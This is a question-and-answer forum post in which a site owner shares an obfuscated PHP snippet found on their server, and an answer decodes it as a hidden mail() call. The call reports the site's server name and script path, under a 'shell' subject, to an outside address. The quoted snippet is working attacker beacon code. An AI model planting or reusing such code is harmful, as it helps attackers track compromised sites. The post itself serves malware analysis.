Question

I Found this embedded in a php file on my site, can anyone tell me what it does?

$x0b="\x6da\x69l"; 
$ms = $_SERVER["S\x45R\126\105\x52_\x4e\101\x4dE"].$_SERVER["\123\x43R\111\x50\124_NA\x4d\105"];
$sub = "\x73\x68\145\x6cl\x20\076\076 :\x20" . $ms;
$o = array ("\x6fm","\164ma\151","\152\x5f\141\155\x72\x31","\x40\x68\x6f","\154.\x63");
$ee = $o[2].$o[3].$o[1].$o[4].$o[0];
$send = @$x0b($ee,$sub,$ms);

Answer 1

Looks evil! The script tries to sending an email to [e-mail].

@$x0b executes the function with name from $x0b where \x6da\x69l is “mail” and @ suppresses any errors.

Receiver $ee is [e-mail]

The mail contains SERVER_NAME and SCRIPT_NAME from the $_SERVER[] variable.

You can use codepad to print out the strings.

The strings are encoded S\x45R\126\105\x52_\x4e\101\x4dE. S is just plaintext. \x45 is hex encoded and \126 is a char number.